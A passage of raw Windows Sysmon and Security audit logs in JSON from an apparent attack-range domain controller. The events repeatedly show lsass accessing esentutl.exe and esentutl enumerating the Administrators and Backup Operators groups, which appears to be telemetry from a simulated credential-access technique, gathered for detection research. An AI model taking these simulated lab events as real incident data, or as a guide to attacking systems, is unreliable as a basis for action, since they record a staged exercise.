|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.072","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222138,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5564,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.072\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.072","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222139,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5565,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.072\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.072","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222140,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5566,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.072\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.072","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222141,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5567,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.088\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 2720\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.088","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"2720","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222142,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222143,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5568,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.088\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 2720\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 